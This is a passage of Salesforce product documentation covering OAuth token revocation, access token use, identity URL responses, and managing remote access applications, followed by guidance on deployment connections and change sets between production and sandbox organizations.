If an access token is included, we invalidate it and revoke the token. If a refresh token is included, we revoke it as well as any
associated access tokens.
The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error
conditions, a status code 400 is used along with one of the following error responses.

unsupported_token_typetoken type not supported


invalid_tokenthe token was invalid

For Sandbox Overview, use test.salesforce.com instead of login.salesforce.com.


GET Support
We also support GET requests with the query string parameter token and the current token. If an access token is included,
we invalidate it and revoke the token. If a refresh token is included, we revoke it as well as any associated access tokens. For
example:
https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error
conditions, status code 400 is used.
JSONP Support
The revocation endpoint also accepts GET requests with an additional callback parameter, and returns the response with
content type application/javascript. For example:
https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback

If the request is successful, a callback is sent to the JavaScript function set in the callback parameter of the GET:
myCallback({});

If the response is not successful, a callback is sent with an error code:


myCallback({"error":"invalid_token"});

See Also:
Authenticating Remote Access Application OAuth
Getting Started with Remote Access Applications
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Remote Access Application Overview
Authenticating Remote Access Application OAuth

2201

Develop

Authenticating Remote Access Application OAuth

Using the Access Token


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

After a consumer using OAuth version 2.0 has an access token, the method of using the token depends on the API being
used.

For the REST API, use an HTTP authorization header with the following format Authorization: OAuth
Access_Token

For the SOAP API, the access token is placed in the Salesforce SOAP authentication header. See SOAP API Developer's
Guide.
For the identity URL, use either an HTTP authorization header (as with the REST API) or use as an HTTP parameter
oauth_token.

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 Username-Password Flow
Using Identity URLs

Using Identity URLs


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

In addition to the access token, an identity URL is also returned as part of a token response, in the id parameter.
The identity URL is both a string that uniquely identifies a user, as well as a RESTful API that can be used to query (with a
valid access token) for additional information about the user. Salesforce returns basic personalization information about the
user, as well as important endpoints that the client can talk to, such as photos for the user, and API endpoints it may access.

2202

Develop

Authenticating Remote Access Application OAuth

The format of the URL is: https://login.salesforce.com/ID/orgID/userID, where orgId is the ID of the Salesforce
organization that the user belongs to, and userID is the Salesforce user ID.
Note: For Sandbox Overview, login.salesforce.com is replaced with test.salesforce.com.
The URL must always be HTTPS.
Identity URL Parameters
The following parameters can be used with the access token and identity URL. They are used in an authorization request
header or in a request with the oauth_token parameter. For more details, see Using the Access Token on page 2202.
Parameter

Description

Access token

See Using the Access Token on page 2202.

Format

This parameter is optional. Specify the format of the returned


output. Valid values are:
urlencoded
json
xml
Instead of using the format parameter, the client can also
specify the returned format in an accept-request header using
one of the following:

Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded

Note the following:

Wildcard accept headers are allowed. */* is accepted and


returns JSON.
A list of values is also accepted and is checked left-to-right.
For example:
application/xml,application/json,application/html,*/*

returns XML.
The format parameter takes precedence over the accept
request header.

Version

This parameter is optional. Specify a Web services API version


number, or the literal string, latest. If this value isnt
specified, the returned API URLs contains the literal value
{version}, in place of the version number, for the client to
do string replacement. If the value is specified as latest, the
most recent API version is used.

PrettyPrint

This parameter is optional, and in only accepted in a header,


not as a URL parameter. Specify the output to be better
formatted. For example, use the following in a header:
X-PrettyPrint:1. If this value isnt specified, the returned
XML or JSON is optimized for size rather than readability.

2203

Develop

Authenticating Remote Access Application OAuth

Parameter

Description

Callback

This parameter is optional. Specify a valid JavaScript function


name. This parameter is only used when the format is specified
as JSON. The output is wrapped in this function name
(JSONP.) For example, if a request to
https://server/id/orgid/userid/ returns
{"foo":"bar"}, a request to
https://server/id/orgid/userid/?callback=baz
returns baz({"foo":"bar"});.

Identity URL Response


After making a valid request, a 302 redirect to an instance URL is returned. That subsequent request returns the following
information in JSON format:

idThe identity URL (the same URL that was queried)


asserted_userA boolean value, indicating whether the specified access token used was issued for this identity
user_idThe Salesforce user ID
usernameThe Salesforce username
organization_idThe Salesforce organization ID
nick_nameThe community nickname of the queried user
display_nameThe display name (full name) of the queried user
emailThe email address of the queried user
statusThe users current Chatter status.

created_date:xsd datetime value of the creation date of the last post by the user, for example,
2010-05-08T05:17:51.000Z
body: the body of the post

photosA map of URLs to the users profile pictures

Note: Accessing these URLs requires passing an access token. See Using the Access Token on page 2202.

picture
thumbnail

urlsA map containing various API endpoints that can be used with the specified user.

Note: Accessing the REST endpoints requires passing an access token. See Using the Access Token on page 2202.

enterprise (SOAP)
metadata (SOAP)
partner (SOAP)
profile
feeds (Chatter)
feed-items (Chatter)
groups (Chatter)
users (Chatter)

2204

Develop

Authenticating Remote Access Application OAuth

custom_domainThis value is omitted if the organization doesnt have a custom domain configured and propagated
(see My Domain Overview on page 391)

activeA boolean specifying whether the queried user is active


user_typeThe type of the queried user
languageThe queried users language
localeThe queried users locale
utcOffsetThe offset from UTC of the timezone of the queried user, in milliseconds
last_modified_datexsd datetime format of last modification of the user, for example, 2010-06-28T20:54:09.000Z

The following is a response using XML format:


<?xml version="1.0" encoding="UTF-8"?>
<user xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<id>http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9</id>
<asserted_user>true</asserted_user>
<user_id>005x0000001S2b9</user_id>
<organization_id>00Dx0000001T0zk</organization_id>
<nick_name>admin1.2777578168398293E12foofoofoofoo</nick_name>
<display_name>Alan Van</display_name>
<email>admin@2060747062579699.com</email>
<status>
<created_date xsi:nil="true"/>
<body xsi:nil="true"/>
</status>
<photos>
<picture>http://na1.salesforce.com/profilephoto/005/F</picture>
<thumbnail>http://na1.salesforce.com/profilephoto/005/T</thumbnail>
</photos>
<urls>
<enterprise>http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk
</enterprise>
<metadata>http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk
</metadata>
<partner>http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk
</partner>
<rest>http://na1.salesforce.com/services/data/v{version}/
</rest>
<sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/
</sobjects>
<search>http://na1.salesforce.com/services/data/v{version}/search/
</search>
<query>http://na1.salesforce.com/services/data/v{version}/query/
</query>
<profile>http://na1.salesforce.com/005x0000001S2b9
</profile>
</urls>
<active>true</active>
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<last_modified_date>2010-06-28T20:54:09.000Z</last_modified_date>
</user>

The following is a response using JSON format:


{"id":"http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9",
"asserted_user":true,
"user_id":"005x0000001S2b9",
"organization_id":"00Dx0000001T0zk",
"nick_name":"admin1.2777578168398293E12foofoofoofoo",

2205

Develop

Authenticating Remote Access Application OAuth

"display_name":"Alan Van",
"email":"admin@2060747062579699.com",
"status":{"created_date":null,"body":null},
"photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F",
"thumbnail":"http://na1.salesforce.com/profilephoto/005/T"},
"urls":
{"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk",
"metadata":"http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk",
"partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk",
"rest":"http://na1.salesforce.com/services/data/v{version}/",
"sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://na1.salesforce.com/services/data/v{version}/search/",
"query":"http://na1.salesforce.com/services/data/v{version}/query/",
"profile":"http://na1.salesforce.com/005x0000001S2b9"},
"active":true,
"user_type":"STANDARD",
"language":"en_US",
"locale":"en_US",
"utcOffset":-28800000,
"last_modified_date":"2010-06-28T20:54:09.000+0000"}

After making an invalid request, the following are possible responses from Salesforce:
Request Problem

Error Code

HTTP

403 (forbidden) HTTPS_Required

Missing access token

403 (forbidden) Missing_OAuth_Token

Invalid access token

403 (forbidden) Bad_OAuth_Token

Users in a different organization

403 (forbidden) Wrong_Org

Invalid or bad user or organization ID

404 (not found) Bad_Id

Deactivated user or inactive organization

404 (not found) Inactive

User lacks proper access to organization or information 404 (not found) No_Access
Request to the endpoint of a site

404 (not found) No_Site_Endpoint

Invalid version

406 (not acceptable) Invalid_Version

Invalid callback

406 (not acceptable) Invalid_Callback

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 Username-Password Flow
Using the Access Token

2206

Develop

Deleting Remote Access Applications

Deleting Remote Access Applications


Available in: Professional, Enterprise, Unlimited, and Database.com Editions
Managed Packages are not available in Database.com

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

When you delete a remote access application contained in a managed package, access to that application is immediately
removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version of the
managed package is released. Do not delete remote access applications unless you are certain this is the correct behavior.
To delete remote access applications, click Your Name > Setup > Develop > Remote Access. In the list of remote access
applications, click Del next to the name of the remote access application to delete.

See Also:
Remote Access Application Overview
Defining Remote Access Applications

Viewing Remote Access Application Details


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

Use the remote access pages to specify remote access applications that can access a Salesforce instance.
To view the details for a defined application, click Your Name > Setup > Develop > Remote Access, and click the name of
the application.
From this page you can do any of the following:

EditChange the name, contact information, and so on.


Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
Once you add a remote access application to a package, you cannot remove it. The only way to remove a remote
access application from a package is to delete it from your organization.

2207

Develop

Remote Access Application Request

DelDelete the remote access application.

See Also:
Remote Access Application Overview
Defining Remote Access Applications

Remote Access Application Request


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The external application you are using is requesting access to your Salesforce data. The external application has already been
integrated into Salesforce by your administrator.
To grant this application access to your Salesforce data, click Accept.
If the description of the application does not match the application you are currently using or for any other reason you do not
want to grant access to your data, click Deny.
If the currently logged in user is not you, click Not you? to log out the current user and log in as yourself.
You can only grant access to an external application a specific number of times. Generally, you grant access for every device
you use, such as a laptop and a desktop computer. The default is five per application. If youve reached the limit for your
organization, granting access to this application automatically revokes access to the token or tokens for this application that
havent been used for the longest period of time. The remote access application token or tokens that will be revoked display
on the page.
After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My
Personal Information > Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview

2208

Develop

Remote Access Application Request

Remote Access Application Request Approved


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The external application you are using has requested access to your Salesforce data, and you approved this request. Close the
browser window and go back to the application you were using.
After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My
Personal Information > Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview
Remote Access Application Request

Remote Access Application Request Denied


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The external application you are using has requested access to your Salesforce data and you denied this access. You should log
out of Salesforce. You can go back to the originating application.

See Also:
Remote Access Application Overview
Remote Access Application Request

2209

Develop

Managing Your Remote Access Applications

Managing Your Remote Access Applications


Available in: All Editions
Salesforce Mobile is not available in Database.com

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce
user and the external application. All remote access applications have been integrated with Salesforce, such that they can
access a subset of your Salesforce data once you explicitly grant each application permission.
All remote access applications that have permission to access your Salesforce data are listed in your personal information. Click
Your Name > Setup > My Personal Information > Personal Information, and go to the Remote Access section. From there
you can do the following:

View information about each remote access application that you have granted access to, as well as the number of times and
the last time the application attempted to access your information.
Note:
An application may be listed more than once. Each time you grant access to an application, it obtains a new
access token. You must grant access to your Salesforce data from each device that you use, for example, from
both a laptop and a desktop computer. The default limit is five access tokens for each application. Newer
applications (using the OAuth 2.0 protocol) are automatically approved for additional devices after you've
granted access once. OAuth 2.0 applications are only listed once.
Even if the remote access application tried and failed to access your information because it could not login, the
Use Count and Last Used fields are still updated.

Click Revoke to revoke the remote access application. After you revoke the application, the application can no longer use
that particular remote access authorization token to access your Salesforce data.
Important: You must revoke all access tokens for a particular application to prevent it from accessing your
Salesforce data.

If you're using Salesforce Mobile and want to use a new mobile device, download the app on the new device and log in. You
do not need to revoke the token on the old device; Salesforce automatically creates a new one.

See Also:
Remote Access Application Overview

2210

Deploy

Deployment Overview

DEPLOY
Deployment Overview
User Permissions Needed
To edit deployment connections:
To use outbound change sets:

Deploy Change Sets


Create and Upload Change Sets,
Create AppExchange Packages,
AND
Upload AppExchange Packages

To use inbound change sets:

Deploy Change Sets

Click Your Name > Setup > Deploy to access tools used for migrating metadata changes between organizations.
Deployment Connections
In order to use the change sets feature, a deployment connection is required. You can specify connection permissions
for both outbound and inbound change sets on the Deployment Connections page.
Outbound Change Sets
Make changes in the organization you are logged into, and upload those changes to another organization.
Inbound Change Sets
Accept, modify, or reject change sets uploaded from other organizations.
Monitor Deployments
Monitor the progress of deployments made through the Metadata API.
Note: Configuration changes deployed using change sets do not appear on the Monitor Deployments page.

See Also:
Change Sets Overview
Monitoring Metadata Deployments

2211

Changesets

Change Sets Overview

CHANGESETS
Change Sets Overview
Available in Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


To edit deployment connections:

Deploy Change Sets

To use outbound change sets:

Create and Upload Change Sets,


Create AppExchange Packages,
AND
Upload AppExchange Packages

To use inbound change sets:

Deploy Change Sets

A change set is a means by which one organization can send customizations to another organization. For example, you could
create a new object in a sandbox organization and send it to your production organization using a change set. Change sets can
only contain modifications you can make through the Setup menu; therefore, you can't use a change set to upload a list of
contact records. In other words, change sets contain metadata, not data.
When you want to send customizations from your current organization to another organization, you create an outbound change
set. Once you send the change set, the receiving organization sees it as an inbound change set.
Sending a change set between two organizations requires a deployment connection. Currently, change sets can only be sent
between organizations that are affiliated with a production organization, for example, a production organization and a sandbox,
or two sandboxes created from the same organization.

See Also:
Components Available in Change Sets
Deployment Connections
Outbound Change Sets
Inbound Change Sets
Change Sets Implementation Tips
Change Sets Best Practices

Components Available in Change Sets


The following types of components may be added to a change set.

2212

Deploy

Components Available in Change Sets

Note: The components available for a change set vary by edition.

Account Criteria Based Sharing Rule


Account Owner Sharing Rule
Account Territory Owner Sharing Rule
Analytic Snapshot
Apex Class
Apex Sharing Reason
Apex Trigger
App
Button or Link
Campaign Criteria Based Sharing Rule
Campaign Owner Sharing Rule
Case Criteria Based Sharing Rule
Case Owner Sharing Rule
Contact Criteria Based Sharing Rule
Contact Owner Sharing Rule
Custom Data Type
Custom Field
Custom Label
Custom Object
Custom Object Criteria Sharing Rule
Custom Object Owner Sharing Rule
Custom Report Type
Custom Setting
Dashboard
Document
Email Template
Flow
Folder
Group
Home Page Component
Home Page Layout
Letterhead
Language Translation
Lead Criteria Based Sharing Rule
Lead Owner Sharing Rule
List View
Opportunity Criteria Based Sharing Rule
Opportunity Owner Sharing Rule
Page Layout
Permission Set

2213

Deploy

About Permission Sets and Profile Settings in Change Sets

Queue
Record Type
Remote Site
Report
Role
S-Control
Static resource
Tab
Territory
Validation Rule
Visualforce Component
Visualforce Page
Workflow Email Alert
Workflow Field Update
Workflow Outbound Message
Workflow Rule
Workflow Task
Workflow Time Trigger
Note: If you create or modify components that arent available in a change set, you can't send those components from
one organization to another in a change set. In this case, migrate the changes manually by repeating the steps you
performed when you created or modified the component.

See Also:
Force.com Metadata API Developer's Guide
Change Sets Overview

About Permission Sets and Profile Settings in Change Sets


Available in Enterprise, Unlimited, and Database.com Editions

Developers can use permission sets or profile settings to specify permissions and other access settings in a change set. When
deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences.
Behavior

Permission Sets

What permissions and settings are


included?

Standard and custom object


permissions
Standard and custom field
permissions
User permissions (such as API
Enabled)

Profile Settings

Assigned apps
Tab settings
Page layout assignments
Record type assignments
Custom object permissions
Custom field permissions

2214

Deploy

Deployment Connections

Behavior

Permission Sets

Profile Settings

Apex class access


Visualforce page access
Note: Assigned apps and tab
settings are not included in
permission set components.

Apex class access


Visualforce page access
Login IP ranges

Added as a component?

Yes

No. Profiles are added in a separate


setting.

Require supporting components to be


installed?

For custom objects and fields, yes. For Yes


example, object permissions for the
custom object Items are included only if
the Items object is also included.
However, user, standard object, and
standard field permissions don't require
supporting components to be installed.

Note: Login IP ranges included in profile settings will overwrite the login IP ranges for any matching profiles in the
target organization.

Deployment Connections
User Permissions Needed
To edit deployment connections:

Deploy Change Sets

In order for change sets to be sent from one organization to another, a deployment connection is required between the
organizations. Deployment connections can't be created between arbitrary organizations; instead, a deployment connection
is created between all organizations affiliated with a production organization. For example, if you have a production organization
(Prod) and two sandboxes (Dev and Test), a deployment connection is created between production and each sandbox (Prod
and Dev, and another connection between Prod and Test), as well as between the sandboxes (Dev and Test).
A deployment connection alone doesn't enable change sets to be sent between organizations. Each organization must be
authorized to send and receive change sets. This added level of security enforces code promotion paths and keeps organizations'
setup metadata from being overwritten by mistake.
For example, the following figure illustrates one possible migration path for a production organization and two sandboxes. In
this example, the production organization can only receive changes that have been fully tested, so only the Test sandbox is
authorized to upload change sets to production. In order to synchronize development projects with the production organization,
the Prod organization can send change sets to the Dev sandbox, but not to the Test sandbox. Finally, because the features in
development need iterative testing, Dev and Test sandboxes should be able to send change sets back and forth.

2215

Deploy

Viewing Available Deployment Connections

Figure 19: Change Set Authorization Enforces Code Path


Note: This illustration describes one possible code migration path. Your department must create its own policies for
organizations to send and receive change sets to one another.

See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview

Viewing Available Deployment Connections


A deployment connection enables customizations to be copied from one organization to another. The deployment connections
list shows which organizations are authorized to upload changes to this organization, and which organizations allow this
organization to upload changes to them.
To view available connections, click Your Name > Setup > Deploy > Deployment Connections.
Action
Click Edit next to the organization that you want to allow or disallow change sets from.
Name
A list of organizations that have deployment connections to the organization you are currently logged into. Click the
name of an organization to view more information about the connection.
Description
A brief description of the connected organizations.
Type
The type of organization you are connected to. Possible values are Production, Full Copy Sandbox, Configuration-only
Sandbox, and Developer Sandbox.

2216

Deploy

Viewing Details of a Deployment Connection

Upload Authorization Direction


The arrows show the direction in which uploads can occur. A broken line means that no change sets are authorized in
either direction. To authorize the connected organization to send you inbound change sets, edit the deployment connection
for this organization. If you want to send outbound change sets to a connected organization, the administrator for that
organization must edit the connection for that organization.

See Also:
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview

Viewing Details of a Deployment Connection


A deployment connection enables customizations to be copied from one organization to another. The deployment connections
list shows which organizations are authorized to upload changes to this organization, and which organizations allow this
organization to upload changes to them.
To view connection details:
1. Click Your Name > Setup > Deploy > Deployment Connections.
2. Click the name of the organization you want to view.
Name
The name of the selected organization. This is not the organization you are logged into.
Description
A brief description of the organization.
Type
The type of organization you are connected to. Possible values are Production, Full Copy, Configuration-only, and
Developer.
Allow Inbound Changes
If selected, the named organization can send change sets to the organization you are currently logged into. This is a
read-only field and can only be modified by selecting Allow Inbound Changes in the target organization.
Accepts Outbound Changes
If selected, the named organization allows change sets to be sent to it from the organization you are currently logged
into.

See Also:
Viewing Available Deployment Connections
Authorizing a Deployment Connection
Change Sets Overview

2217

Deploy

Authorizing a Deployment Connection

Authorizing a Deployment Connection


In order for another organization to send change sets to the organization you are logged into, you must authorize the inbound
change set:
1.
2.
3.
4.

Click Your Name > Setup > Deploy > Deployment Connections.
Click Edit next to the organization you want to authorize.
Select Allow Inbound Changes.
Click Save.

See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Change Sets Overview

Outbound Change Sets


User Permissions Needed
To create, edit, or upload outbound change sets:

Create and Upload Change Sets

Watch a Demo (2:30 minutes)


An outbound change set is a change set created in the organization you are logged into and that you want to send to another
organization. Typically, an outbound change set is used for customizations created and tested in a sandbox and then sent to
a production organization.
Sending an outbound change set to another organization doesn't guarantee that the changes will be implemented in that
organization. The change set must be deployed (accepted) by the target organization before the changes take effect.
Note: Change sets are limited to 2,500 components and a total file size of 400 MB.

See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

2218

Deploy

Creating an Outbound Change Set

Creating an Outbound Change Set


An outbound change set is a change you want to send from the organization you are logged into to another organization. To
view outbound change sets, click Your Name > Setup > Deploy > Outbound Change Sets.

To create a new change set, click New.


To view the details of an existing change set, click its name.

Cloning an Outbound Change Set


You can create a copy of an existing change set by cloning it.
1. Click Your Name > Setup > Deploy > Outbound Change Sets.
2. Click the name of the change set you want to clone.
3. Click Clone.

See Also:
Creating an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Selecting Components for an Outbound Change Set


To select the components in an outbound change set:
1.
2.
3.
4.
5.
6.

Click Your Name > Setup > Deploy > Outbound Change Sets.
In the Change Sets list, click the name of a change set, or create a new one.
Click Add to add components.
Choose the type of component and the components you want to add, and then click Add to Change Set.
Click Add Profiles to add profile settings to the change set.
Optionally, click View/Add Dependencies to add dependent components.

2219

Deploy

Uploading an Outbound Change Set

Note: Dependent components rely on the existence of other components. Unless you are certain that the dependent
components exist in every organization this change set will be deployed to, it's a good idea to add dependent
components to the change set.

See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Uploading an Outbound Change Set


Once youve assembled the components in a change set, you can upload it to another organization. Note that once you upload
a change set, you can't edit it or recall it.
1.
2.
3.
4.

Click Your Name > Setup > Deploy > Outbound Change Sets.
Click the name of a change set.
Select the organization you want to send the change set to.
Click Upload.
Note: Outbound change sets expire six months after upload, at which time the change set is permanently deleted.

See Also:
Creating an Outbound Change Set
Uploading Change Sets During Server Upgrades
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Uploading Change Sets During Server Upgrades


During server upgrades, production and sandbox environments may not be running the same version of the platform. Some
components may have new functionality or other changes that will not allow you to deploy that type of component until the
production organization is running the same version as sandbox.

2220

Deploy

Viewing and Adding Dependent Components to a Change Set

If you upload a change set that has components that can't be deployed because they are incompatible with the older version,
the system detects which components can't be deployed, and gives you the option of uploading the remaining components.

Viewing and Adding Dependent Components to a Change


Set
A dependency is a relationship where one or more components must exist for another component to exist. It's a good idea to
add dependent components to a change set, unless you are sure that the dependent components exist in every organization
where this change set will be deployed.
To add dependent components to an outbound change set:
1.
2.
3.
4.

Click Your Name > Setup > Deploy > Outbound Change Sets.
In the Change Sets list, click the name of a change set.
Click View/Add Dependencies.
On the Component Dependencies page, select the dependent components you wish to deploy and click Add to Change
Set.
Caution: If your change set contains more than 2500 dependencies you will only be able to see the first 2500 in the
view dependencies page.

See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Viewing the Source of a Metadata Component


Before you upload or deploy a change set, you can view the source of each metadata component in the change set. This allows
you to verify that you are uploading or deploying the correct changes.
If the metadata component in the change set is a profile or permission set, then the XML source displayed depends on the
contents of the change set. For example, profiles only contain field-level security for fields included in the custom object that
are part of the change set.
Note: Like profiles, permission sets contain permissions for only the custom components included in a change set.
Unlike profiles, however, permission sets can also contain standard object permissions, standard field permissions, and
user permissions (such as API Enabled).
For information about the fields, attributes, and settings of the available metadata types, see the Force.com Metadata API
Developers Guide

2221

Deploy

Outbound Change Set Validation Errors

Note: You can't view the source of a Static Resource, Document, or Folder.

Outbound Change Set Validation Errors


If you receive an error about cross-version validation, then the organization used to create the outbound change set is running
on a different platform version than the organization receiving the change set. This error typically occurs during upgrades,
because organizations may be upgraded at different times. If you receive this error, you can only deploy those components that
are compatible between versions.

See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Deleting an Outbound Change Set
Change Sets Overview

Deleting an Outbound Change Set


To delete an outbound change set:
1. Click Your Name > Setup > Deploy > Outbound Change Sets.
2. Click the name of the change set you want to delete.
3. Click Delete.

See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Change Sets Overview

2222

Deploy

Inbound Change Sets

Inbound Change Sets


User Permissions Needed
To deploy inbound change sets:

Deploy Change Sets

Watch a Demo (2:30 minutes)


An inbound change set is a change set that has been sent from another organization to the organization you are logged into. A
change sent must be deployed for the changes to take effect. You can deploy the contents of an inbound change set as a whole,
but not on a component-by-component basis.

See Also:
Viewing Inbound Change Sets
Viewing Change Set Details
Deploying a Change Set
Change Sets Overview

Viewing Inbound Change Sets


The Inbound Change Sets page lists change sets awaiting deployment, as well as the history of deployed change sets. To view
inbound change sets, click Your Name > Setup > Deploy > Inbound Change Sets.
Note: Inbound change sets are permanently deleted six months after the change set is uploaded.

See Also:
Inbound Change Sets
Viewing Change Set Details
Validating a Change Set
Deploying a Change Set
Change Sets Overview

Viewing Change Set Details


The Change Sets detail page lists information about a particular change set.
1. Click Your Name > Setup > Deploy > Inbound Change Sets.

2223

Deploy

Validating a Change Set

2. Click the name of a change set.

See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Deploying a Change Set
Change Sets Overview

Validating a Change Set


You can validate a change set without deploying changes. Validating a change set allows you to view the success or failure
messages you would receive with an actual deploy.
1. Click Your Name > Setup > Deploy > Inbound Change Sets.
2. Click the name of a change set.
3. Click Validate.
Note: You can't make any changes to your organization while a test deployment is in progress.

4. After the validation completes, click View Results.

Deploying a Change Set


To deploy a change set:
1. Click Your Name > Setup > Deploy > Inbound Change Sets.
2. In the Change Sets Awaiting Deployment list, click the name of the change set you want to deploy.
3. Click Deploy.
A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire transaction
is rolled back. After a deployment completes successfully, all changes are committed to your organization and the change set
cant be rolled back.
Note: The Force.com platform requires that at least 75% of your code is covered by unit tests before you can deploy
it to a production organization. Ideally, you should strive for 100% coverage. The code coverage restriction is not
enforced for sandbox or Developer Edition organizations.

See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Viewing Change Set Details
Change Sets Overview

2224

Deploy

Monitoring Deployments

Monitoring Deployments
The size and complexity of the change set determines how long it takes for a change set to deploy. During this time, it can be
helpful to monitor the deployment. To track the status of deployments that are in progress click Your Name > Setup > Deploy
> Inbound Change Sets > Change Set Detail. Under the Deployment History related list, click View Results.
Note: The Monitor Deployments page can be used for checking the status of deployments made through the Metadata
API. However, change sets are not currently supported in the Monitor Deployments page.

Change Sets Implementation Tips


Authorization required to upload changes
Before you can deploy a change set from one organization to another, an administrator in the target organization must
authorize uploads across the deployment connection between the two organizations.
Deployment Connections list displays all connections
The Deployment Connections list is automatically populated with your production organization and all sandboxes. It
is possible to deploy between any of these organizations, but no other organizations.
Change set connections unavailable during maintenance
Authorizing deployment connections and uploading pages require information from the production organization, and
are unavailable when production is undergoing maintenance. During this time you can construct outbound change sets
but not upload them.
Sandboxes must be available
If an organization has no sandboxes provisioned, the user may see an Insufficient Privileges error on the Deployment
Connections page.
Deployment doesnt automatically restart
If an error occurs during change set validation or deployment, you must manually restart the process. Be sure neither of
the organizations is already locked, undergoing maintenance, or otherwise inaccessible.
Deployment is a one-way transaction
A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire
transaction is rolled back. After a deployment completes successfully, all changes are committed to your organization
and the change set cant be rolled back.
User fields arent preserved
Changes deployed in a change set or through the Metadata API, dont preserve user fields, such as the value of Workflow
Email Notifications Recipients, or a Dashboard Running User. These fields are either removed or replaced with the
deploying user, depending on the context.

See Also:
Change Sets Best Practices
Change Sets Overview

2225

Deploy

Change Sets Best Practices

Change Sets Best Practices


Deploy all dependent components
Make sure each outbound change set contains all interdependent components that don't exist in the target organization.
If you try to deploy a component that refers to another component missing from the target organization and from the
change set, the deployment fails.
Change sets give you fine-grained control over what you deploy. For example, you can migrate custom fields individually.
To deploy a custom object and all of its fields, you must add the custom object and every field to the change set; adding
just the custom object to the change set won't cause deployment to fail, but results in an empty custom object.
Add permissions and access settings to outbound change sets
Adding profiles or permission sets to outbound change sets allows administrators to migrate permissions for users so
they can access the new functionality. Profiles contain access settings for more components than permission sets, including
page layouts, record types, and tab settings. However, permission sets contain access to standard object permissions,
standard field permissions, and user permissions (such as API Enabled).
Clone a change set to add dependent components to an uploaded change set
After you upload a change set, you can't change its contents. If you need to add dependent components to a change set
you already uploaded, clone the change set, add the dependent components, and then upload it again.
Plan deployments around maintenance schedule
Plan your deployment activities around the maintenance schedule for both your production and sandbox organizations.
Some features require information from your production organization when accessed from a sandbox. In addition, the
originating organization is locked while validating an outbound change set, and the target organization is locked while
deploying an inbound change set. (When change sets lock an organization, you can still read and write data to the
organization, but you cant make any setup changes that would modify the metadata.)
Validate change sets before deployment
You can perform a test deployment of an inbound change set to view the success or failure messages that would occur
